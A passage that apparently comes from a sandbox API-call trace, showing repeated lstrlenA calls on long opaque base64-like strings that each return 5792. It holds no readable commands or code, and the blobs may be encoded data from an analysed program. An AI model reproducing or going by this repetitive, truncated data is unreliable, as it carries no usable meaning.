LHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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